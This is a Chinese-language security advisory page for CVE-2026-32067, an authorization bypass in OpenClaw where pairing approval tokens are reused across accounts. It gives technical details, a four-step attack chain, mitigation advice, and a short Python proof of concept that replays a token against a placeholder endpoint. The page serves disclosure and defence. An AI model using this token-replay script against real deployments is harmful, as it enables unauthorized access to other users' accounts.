IPBUF安全漏洞报告
English
CVE-2026-32067 CVSS 3.7 低危

CVE-2026-32067 OpenClaw授权绕过漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2026-32067
漏洞类型
授权绕过
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
OpenClaw

相关标签

授权绕过OpenClaw跨账户CWE-285

漏洞概述

OpenClaw 2026.2.26之前的版本存在授权绕过漏洞。该漏洞源于pairing-store访问控制机制对配对策略的处理不当。攻击者可以利用此缺陷,在多账户部署环境中跨账户重用配对批准。一旦攻击者在一个账户中获得发送者权限,即可在无需再次显式批准的情况下,自动被其他账户接受,从而成功绕过授权边界,造成潜在的安全风险。

技术细节

该漏洞的核心成因在于OpenClaw组件在处理直接消息(DM)配对策略时,未能正确实施账户隔离逻辑。在受影响的版本中,pairing-store用于存储和管理配对状态,但其访问控制机制存在设计缺陷,导致配对批准令牌的全局复用。具体而言,系统在验证配对请求时,仅检查令牌的有效性,而未验证该令牌是否属于当前请求的上下文账户。攻击者可以在一个被攻陷或自己控制的低权限账户中完成正常的配对流程,获取有效的批准状态。随后,在向目标高价值账户发起配对请求时,攻击者通过重放或复用之前的配对凭证,欺骗系统认为该请求已获授权。由于CVSS向量包含UI:R,利用过程可能诱导用户进行交互或依赖系统自动处理机制。这使得攻击者能够在多账户部署环境下,绕过显式的管理员审批,获得对其他账户的未授权访问权限,破坏了系统的信任边界。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标环境中运行的存在漏洞的OpenClaw实例(版本 < 2026.2.26)。
STEP 2
2. 获取初始凭证
攻击者在账户A中注册或控制一个低权限账户,并完成正常的消息配对流程,获取有效的配对批准令牌。
STEP 3
3. 跨账户利用
攻击者使用账户A的配对令牌,向目标账户B发起配对请求。由于系统未校验令牌归属,错误地复用了账户A的授权状态。
STEP 4
4. 绕过授权
系统自动接受攻击者对账户B的配对请求,无需账户B管理员的显式批准,攻击者获得未授权的访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-32067 # This script demonstrates how an attacker might reuse pairing approvals across accounts. # Note: This is a conceptual demonstration based on the vulnerability description. import requests TARGET_URL = "https://target-openclaw-instance.com/api/pair" # 1. Assume the attacker has obtained a valid pairing approval token from Account A # This token was legitimately issued for 'attacker_account' pairing with 'victim_account_A' stolen_token = "a0c5e28f3bf0cc0cd9311f9e9ec2ca0352550dcf" # 2. Attacker tries to pair with a different, target Account B using the stolen token payload = { "target_account": "victim_account_B", "sender_account": "attacker_account", "pairing_token": stolen_token, # Reusing the token from Account A "action": "approve_pairing" } headers = { "Content-Type": "application/json", "Authorization": "Bearer <attacker_session_token>" } try: response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200: print("[+] Success! Authorization bypassed. Access granted to victim_account_B.") else: print("[-] Failed. Server response:", response.text) except Exception as e: print("[!] Error:", str(e))

影响范围

OpenClaw < 2026.2.26

防御指南

临时缓解措施
在未完成升级前,建议管理员暂时禁用多账户环境下的自动配对功能,或者严格限制账户间的配对权限。同时,应密切监控系统日志,查找是否存在同一凭证在多个账户中被复用的异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表